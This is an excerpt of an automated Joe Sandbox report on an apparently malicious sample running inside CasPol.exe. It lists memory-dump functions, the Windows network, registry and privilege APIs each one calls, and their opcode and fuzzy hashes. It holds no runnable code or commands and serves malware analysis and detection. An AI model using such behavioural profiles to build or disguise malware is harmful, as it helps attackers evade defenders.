LoadLibraryA.KERNEL32(?,00000EA4), ref: 1D45BF27

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8306559785f6a77e4fc106ee6c4a388ebba4961e41f8f4026337d1e58efae53c
Instruction ID: 93c3bd7b2bdf1334d9381625f693d0e582933473d99d4a1fbd49edc0cc72bc94
Opcode Fuzzy Hash: 8306559785f6a77e4fc106ee6c4a388ebba4961e41f8f4026337d1e58efae53c
Instruction Fuzzy Hash: B511E176500340AFF721CB15DD85B66FBA8DF44720F14C19AFE489B282D2B5A908CEA6

Uniqueness

Uniqueness Score: -1.00%

Function 1FE3290A Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RasConnectionNotificationW.RASAPI32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE32963

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: ConnectionNotification
String ID:
API String ID: 1402429939-0
Opcode ID: e762ca37cdd301304b14c450aed04ca7ec0e3c71d84ab8b7abd9400392c5e8c4
Instruction ID: 7eec7b6caa43f2095e914d341d624989586e5f5fe54f4c07efeb800438205a4b
Opcode Fuzzy Hash: e762ca37cdd301304b14c450aed04ca7ec0e3c71d84ab8b7abd9400392c5e8c4
Instruction Fuzzy Hash: F011CE75900340AFFB108B11DD88F66FBA8EF08320F08815AED844F251D275A808CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 1D45B4E0 Relevance: 1.6, APIs: 1, Instructions: 54comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(?), ref: 1D45B53C

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 422a07802005c2ee6cd4091e25cd66de3989acf8d7295f4e769194e8161de7c9
Instruction ID: 2b88c81d0f1c5c70e88887014d5988679f00c51030c12262f8af01bef19559ce
Opcode Fuzzy Hash: 422a07802005c2ee6cd4091e25cd66de3989acf8d7295f4e769194e8161de7c9
Instruction Fuzzy Hash: 9D1160714083849FDB12CF25DC84B52BFA4EF46324F0984DADD858F253D275A849CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1D45A078 Relevance: 1.6, APIs: 1, Instructions: 54networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,?,?), ref: 1D45A0D5

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: b3a1ce516d14afc88ed2512c069b4dddc8af8e9b128e94e7b00d73e0fb9dff8f
Instruction ID: cb7953a9c045134c7d4ab79b834b7446b9dd24a115c61bf8ad100c3e6eacfd61
Opcode Fuzzy Hash: b3a1ce516d14afc88ed2512c069b4dddc8af8e9b128e94e7b00d73e0fb9dff8f
Instruction Fuzzy Hash: 21119175409780AFDB12CF15DC84B52FFB4EF4A224F08849AED888F253D275A818CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1FE330CE Relevance: 1.6, APIs: 1, Instructions: 53networkCOMMON

Download Yara Rule

APIs

GetNetworkParams.IPHLPAPI(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE33124

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: NetworkParams
String ID:
API String ID: 2134775280-0
Opcode ID: e9dcad1e030468aa4b4b6defa624dfd0410408157a0ce91a845587655099a6c0
Instruction ID: 5b8c9957f0263b5be54bf356058ce1661a8a0ede7612b45a09dded4f0542fa80
Opcode Fuzzy Hash: e9dcad1e030468aa4b4b6defa624dfd0410408157a0ce91a845587655099a6c0
Instruction Fuzzy Hash: 6A01A175900244AFFB11CB11DD89F56FBA8DF44721F088156ED449B341D664A808CBB6

Uniqueness

Uniqueness Score: -1.00%

Function 1D45A89A Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 1D45A8E2

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6f97cf5892fdd5827266d3a574234e33fdc697aecb275922b111b6f6086c5cf4
Instruction ID: a530da1c45414165c437c4552a225febe49ecf0558626d6b3bb461a6de7d9f8a
Opcode Fuzzy Hash: 6f97cf5892fdd5827266d3a574234e33fdc697aecb275922b111b6f6086c5cf4
Instruction Fuzzy Hash: BD113CB66003419FEB10CF29D885B67FBE8EF44620F18C4AADD49CB342D675E845CE62

Uniqueness

Uniqueness Score: -1.00%

Function 1FE306F8 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

FindClose.KERNEL32(?,E552CEA1,00000000,?,?,?,?,?,?,?,?,73793C68), ref: 1FE3074C

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 8e063aad7165e52a6c6106058a4475ad722f760caf75f4b61a8076617c0c6233
Instruction ID: 392e99f4431fa6f3a5e2534f5d024747621105989743a8a380081de5073f6923
Opcode Fuzzy Hash: 8e063aad7165e52a6c6106058a4475ad722f760caf75f4b61a8076617c0c6233
Instruction Fuzzy Hash: C511A5755097C09FD7128F15DC84B56FFB4DF47224F0880DAED858F2A3D265A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1FE307DE Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE30831

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 1e44327e6db4f699de79eb3324d32532602d19983422239bfa04922d5d2fe472
Instruction ID: d63bb1a4c9748b5f2cc2e136f83a52e787f03dcf84d0f2630f799d06a3133bfd
Opcode Fuzzy Hash: 1e44327e6db4f699de79eb3324d32532602d19983422239bfa04922d5d2fe472
Instruction Fuzzy Hash: 2601C075900344AFF710CB15DD89B56FBACDF44725F08819AEE489F281D674A808CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 1FE336C2 Relevance: 1.5, APIs: 1, Instructions: 49networkCOMMON

Download Yara Rule

APIs

WSAConnect.WS2_32(?,?,?,?,?,?,?), ref: 1FE3370E

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: Connect
String ID:
API String ID: 3144859779-0
Opcode ID: ddda0616714eecee7e9ca96dc80b4a05335e24533a51979e255a62fff8b089c5
Instruction ID: 059c79bc27e0102653fdef85e6e6d60e7daf79b8f81c7ad13075c18ae69fb209
Opcode Fuzzy Hash: ddda0616714eecee7e9ca96dc80b4a05335e24533a51979e255a62fff8b089c5
Instruction Fuzzy Hash: 1C115A75900240AFEB20CF55D888F52FBE4EF08711F0885AAED498B752D375B418DF62

Uniqueness

Uniqueness Score: -1.00%

Function 1D45AF32 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

K32GetModuleBaseNameW.KERNEL32(?,00000EA4,?,?), ref: 1D45AF82

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: BaseModuleName
String ID:
API String ID: 595626670-0
Opcode ID: b7cc403234a6dfce7e36ecf5c0811c640b4e9abf88662e736aa35ebfa413e320
Instruction ID: da2f81879634cc5cf463ef093eef8aa8be1b3aafffb10d289e1f80e214ed7c91
Opcode Fuzzy Hash: b7cc403234a6dfce7e36ecf5c0811c640b4e9abf88662e736aa35ebfa413e320
Instruction Fuzzy Hash: BE017172900200AFD314DF1ADC85B26FBA9FF88A20F14C55AED089B741E671F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 1FE3378A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 1FE337CE

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 303e0335304f429d9705fb17bc04d9f1600fa70ad6f43bfe6fd054e59e6ef4b6
Instruction ID: 9338b80b2b6220ceed27d4d3a862ac3a228dbe88ca05e9f7e3628f9c38d5e987
Opcode Fuzzy Hash: 303e0335304f429d9705fb17bc04d9f1600fa70ad6f43bfe6fd054e59e6ef4b6
Instruction Fuzzy Hash: 59016172800740EFEB21CF55D988B16FFE0EF48711F08C59AED494B652D276A414DF62

Uniqueness

Uniqueness Score: -1.00%

Function 1FE338EA Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

FindWindowW.USER32(?,?), ref: 1FE3392F

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 36916da36c0e69a9d373f1938b61cb870a1a67df1200e09c67bec7da3e0a8f81
Instruction ID: cdc07b0aee34f771bb2ec868b1248e46c850095bdd18b15023dc18ef7f2a9fc3
Opcode Fuzzy Hash: 36916da36c0e69a9d373f1938b61cb870a1a67df1200e09c67bec7da3e0a8f81
Instruction Fuzzy Hash: C3018475D00241DFE710CF16D889B52FBE8EF04625F08C199DD488F36AE274E844CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1FE3188A Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

RasEnumConnectionsW.RASAPI32(?,00000EA4,?,?), ref: 1FE318DA

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: ConnectionsEnum
String ID:
API String ID: 3832085198-0
Opcode ID: aa9d831fefec1030da09546eec0ef72768e3d4f1ba24eba7782dd0ee2a534f28
Instruction ID: d40c2d55cb9b49445ab68f5d14d23621c1a575b474cb336abba771dc6b399da4
Opcode Fuzzy Hash: aa9d831fefec1030da09546eec0ef72768e3d4f1ba24eba7782dd0ee2a534f28
Instruction Fuzzy Hash: E301A272500200AFD314CF1ACC82B22FBA8FF88A20F14C15AED088B741E671F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 1FE31366 Relevance: 1.5, APIs: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.KERNEL32(?,00000EA4,?,?), ref: 1FE313B6

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: Enum
String ID:
API String ID: 2928410991-0
Opcode ID: 19731aeb51444bf908ecda6eedc19357fafa4669b1cb626b6bfd08d3775930ec
Instruction ID: eb006c8af1ac34c9553e5c19f8c0139a4f3162684863c2b507827f3aeceb34c3
Opcode Fuzzy Hash: 19731aeb51444bf908ecda6eedc19357fafa4669b1cb626b6bfd08d3775930ec
Instruction Fuzzy Hash: CF018F72500200AFD314DF1ACC82B22FBA8FF88A20F14815AED088B741E671F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 1FE31A4E Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,?,?,?,?), ref: 1FE31A8C

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: cda6b3f6d9eae1d5ba410c85a197a074c66d489732b7146afd7762fed4b56cac
Instruction ID: 4b58d6b187bebd10a530724c383580fe11f05d4568d39440dee91f3cc8ecb074
Opcode Fuzzy Hash: cda6b3f6d9eae1d5ba410c85a197a074c66d489732b7146afd7762fed4b56cac
Instruction Fuzzy Hash: 9F018031900240DFEB20CF55D988B56FBB0EF08322F08C59EDD484F252D275E414CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1FE31606 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,E552CEA1,00000000,?,?,?,?,?,?,?,?,73793C68), ref: 1FE31638

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: aa5659b7543f1ca3caaf3c61b189022d7859c4a4a81ea0637980d88a7956516d
Instruction ID: 5ac1a720e63c3d620cd3b4de0ecd10ce73f4184ffae54885e09789d073cd34a2
Opcode Fuzzy Hash: aa5659b7543f1ca3caaf3c61b189022d7859c4a4a81ea0637980d88a7956516d
Instruction Fuzzy Hash: 93017C759002409FEB10CF65D988756FBA4EF04221F08C4AEDD498F252D279E858CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1D45A346 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?,E552CEA1,00000000,?,?,?,?,?,?,?,?,73793C68), ref: 1D45A378

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: b1b1c4643d71765ec3973f4dbaf63c7cfa2564f7877a1bbd5e7683d606e64c87
Instruction ID: 060c66113838cbf10466c597ba7e01f3c701b02d1da8e1953fb03e02f00c8ea1
Opcode Fuzzy Hash: b1b1c4643d71765ec3973f4dbaf63c7cfa2564f7877a1bbd5e7683d606e64c87
Instruction Fuzzy Hash: 1C01A275500384DFEB11CF15D989756FBE4EF04624F18C4AADD498F742D279A848CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 1D45A76E Relevance: 1.5, APIs: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA4,?,?), ref: 1D45A7BE

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: d434056e594e7fa43f92d1b4c227542bf767ea7b5db3541946e092eb5542660b
Instruction ID: 17c54a5c146009db4fde60e124f0b4777a76b9d97475bb3a0856ab08b8a13236
Opcode Fuzzy Hash: d434056e594e7fa43f92d1b4c227542bf767ea7b5db3541946e092eb5542660b
Instruction Fuzzy Hash: 41018471500200AFD314CF1ACC41B22FBA4FF88A20F148159ED084B741D671F515CAE5

Uniqueness

Uniqueness Score: -1.00%

Function 1D45AB86 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?,E552CEA1,00000000,?,?,?,?,?,?,?,?,73793C68), ref: 1D45ABB8

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 530d0ab435ef08a4b48364303a8401306cb20c253bdc03f94360c8f3c5e7406f
Instruction ID: e32c5ede09dac85603a09db175f5ab4dd7bd4eb1a48cbd5523dd13f2cb97d5db
Opcode Fuzzy Hash: 530d0ab435ef08a4b48364303a8401306cb20c253bdc03f94360c8f3c5e7406f
Instruction Fuzzy Hash: F9018F755043449FEB10CF19E989756FBA4EF44620F08C4AADE498F742D275E858CFA3

Uniqueness

Uniqueness Score: -1.00%

Function 1D45B396 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

MkParseDisplayName.OLE32(?,00000EA4,?,?), ref: 1D45B3E6

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: DisplayNameParse
String ID:
API String ID: 3580041360-0
Opcode ID: 8c268137aefabc0b472e14f437b88541963b39656c9a02b27a32a4a94b8b60b8
Instruction ID: 171b186e54a27d88f5e72b5c6845e8a39b72a85c336d300a6942cb4097045868
Opcode Fuzzy Hash: 8c268137aefabc0b472e14f437b88541963b39656c9a02b27a32a4a94b8b60b8
Instruction Fuzzy Hash: 4D01A272500200AFD314DF1ACC82B22FBA8FF88A20F14C15AED088B741E671F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 1D45A09A Relevance: 1.5, APIs: 1, Instructions: 42networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,?,?), ref: 1D45A0D5

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 80f7aad09981eb097a975e41738bd1000d65b4b1866716c222a5738c11319b4d
Instruction ID: bb1965cde1c52388b1be3d12a95c9ecf9ffe7d5ae2c31fb4d4a4fb5daf227a9f
Opcode Fuzzy Hash: 80f7aad09981eb097a975e41738bd1000d65b4b1866716c222a5738c11319b4d
Instruction Fuzzy Hash: 39019E354003409FEB11CF55D989B56FBA0FF08620F08C59ADD488B252D275A858CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 1FE3071A Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

FindClose.KERNEL32(?,E552CEA1,00000000,?,?,?,?,?,?,?,?,73793C68), ref: 1FE3074C

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: a06d10376fc3f5b34c7cdde947a35565139b58090577e122ad153154ac6a81bc
Instruction ID: f4f0afab32d367d8053015a149e17b7525bff02cb5d22aa62c435a7d64aa83b1
Opcode Fuzzy Hash: a06d10376fc3f5b34c7cdde947a35565139b58090577e122ad153154ac6a81bc
Instruction Fuzzy Hash: 3601D1359012409FEB119F15D989766FFA4EF04725F08C0AADE098F352D275B808CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 1D45B50A Relevance: 1.5, APIs: 1, Instructions: 39comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(?), ref: 1D45B53C

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: bc9ea4973ab68d9d2ee7af8273ffe91d1c4ebdec102c9967d1ba4f4c127aceb4
Instruction ID: dd836b23192f0941a2b35ebed831da491e021c9acbf20c47c4c3b2589e647c38
Opcode Fuzzy Hash: bc9ea4973ab68d9d2ee7af8273ffe91d1c4ebdec102c9967d1ba4f4c127aceb4
Instruction Fuzzy Hash: 5101AD75904284DFEB10CF15E988756FBA4EF04725F08C4AADD498F342D279A808CEA6

Uniqueness

Uniqueness Score: -1.00%

Function 1D45A4B6 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,E552CEA1,00000000,?,?,?,?,?,?,?,?,73793C68), ref: 1D45A4E8

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 185a587cbac39579ece969383a68ddbe5b14060ec426895e3d6efe788291c88b
Instruction ID: 30234e0f593eee41f9778f0855b9d01ec27ee3417a95930e9d6526024c0ad519
Opcode Fuzzy Hash: 185a587cbac39579ece969383a68ddbe5b14060ec426895e3d6efe788291c88b
Instruction Fuzzy Hash: 24F0AF355003449FEB10CF05D9C9B26FBA4EF05620F18C09ADD494B352D279B849CEA3

Uniqueness

Uniqueness Score: -1.00%

Function 00DAC146 Relevance: 1.5, APIs: 1, Instructions: 12threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32 ref: 00DAC14F

Memory Dump Source

Source File: 00000007.00000002.6646838713.0000000000D90000.00000040.00000400.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d90000_CasPol.jbxd

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 22173c25790b62cbe4d01d1dcdb49ee0d0bacdc3a859db72785e43f755521cde
Instruction ID: 87ef192e61a5b93e8385c3c60f66e7ed12982c68bc0eaa22be8554d2f1abb646
Opcode Fuzzy Hash: 22173c25790b62cbe4d01d1dcdb49ee0d0bacdc3a859db72785e43f755521cde
Instruction Fuzzy Hash: 20D01238A9161E66EF3D26248A702DC6766DF40785FE5913DCCC344458963541C34907

Uniqueness

Uniqueness Score: -1.00%

Function 00CC6F29 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

d]r, xrefs: 00CC6FDC

Memory Dump Source

Source File: 00000007.00000002.6645954165.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cc0000_CasPol.jbxd

Similarity

API ID:
String ID: d]r
API String ID: 0-2980756583
Opcode ID: 0ebf612477d8dd4cb9ec27142f6037a88dd0229402f8bb9a70b42950daaf2965
Instruction ID: b63e812709976f8b6d653a820117cf042a4c7f866f295f89d4cb7cbfa472cac1
Opcode Fuzzy Hash: 0ebf612477d8dd4cb9ec27142f6037a88dd0229402f8bb9a70b42950daaf2965
Instruction Fuzzy Hash: A441A030B042109FD714DB79C9A8B6E7BF6AF89700F2544AEE506EB3A1DE35DC058752

Uniqueness

Uniqueness Score: -1.00%

Function 00CC6F80 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

d]r, xrefs: 00CC6FDC

Memory Dump Source

Source File: 00000007.00000002.6645954165.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cc0000_CasPol.jbxd

Similarity

API ID:
String ID: d]r
API String ID: 0-2980756583
Opcode ID: 8e95c882944fb3c9648fbcdbab074217e2c82a0eeb14cb86f6667cf58b75c9ec
Instruction ID: 56cb3b3ec281115d9c5350ff45c58fbc337b757270704e43eb9399e3d6d55f66
Opcode Fuzzy Hash: 8e95c882944fb3c9648fbcdbab074217e2c82a0eeb14cb86f6667cf58b75c9ec
Instruction Fuzzy Hash: F7317230B002149FDB14DB79C999B6E76FAAFC9700F25406DE506EB3A1DE71AC058B91

Uniqueness

Uniqueness Score: -1.00%

Function 00CC3860 Relevance: .7, Instructions: 702COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.6645954165.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cc0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54615d6bae0edd3252c5e13c3878e1faf654d32d6e99bb710161f73af7a83247
Instruction ID: 760e3da13135f916763b766ea11a82919691a544e4c927b09530f8381421e805
Opcode Fuzzy Hash: 54615d6bae0edd3252c5e13c3878e1faf654d32d6e99bb710161f73af7a83247
Instruction Fuzzy Hash: 92429B34A002158FDB14DBB8D464BAEBBF2AF85300F25C569D806EB395DB39DD42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00CC0598 Relevance: .4, Instructions: 444COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.6645954165.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cc0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b1c4042c78f27a75ea99ab9997fa57ddaff9e39cab4e9e98a0b22156312579a
Instruction ID: 475d140ad7b558f255f27a6f3a12e9d5f5d6d9e76a577043263563d3d1dd23a6
Opcode Fuzzy Hash: 2b1c4042c78f27a75ea99ab9997fa57ddaff9e39cab4e9e98a0b22156312579a
Instruction Fuzzy Hash: DCF13A74A00215CFDB14DBB8C894B9DB7F2EF88314F258669E915EB395DA34EC42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00CC0B48 Relevance: .4, Instructions: 390COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.6645954165.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cc0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29743b676a33011c723cc5b3710dfa14dcd8e82e7c32b71fb0c62feb8d6e0bd0
Instruction ID: 8f8be4339f144f851bf01cfcba907c6dad58de61b3fca98554e4b5af25d29844
Opcode Fuzzy Hash: 29743b676a33011c723cc5b3710dfa14dcd8e82e7c32b71fb0c62feb8d6e0bd0
Instruction Fuzzy Hash: 52D18020B093859FD7529778C9547653BF19F47300F6A80EBD199DF2A7EA28DC0AC362

Uniqueness

Uniqueness Score: -1.00%

Function 00CC1726 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.6645954165.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cc0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa789d99cf58146af2d4dd85edfc188eff2c6da05004bb9fe5ff4bfffac3887a
Instruction ID: 025c5ab0bfd4c948a430b14756c4dd431616e6713976b60ca2b26694eef1266a
Opcode Fuzzy Hash: fa789d99cf58146af2d4dd85edfc188eff2c6da05004bb9fe5ff4bfffac3887a
Instruction Fuzzy Hash: 65C18374E001054FFF24DBA9C494FADB7B6EB8A310F29846AE815E7382DA34DD419B61

Uniqueness

Uniqueness Score: -1.00%

Function 00CC57D8 Relevance: .3, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

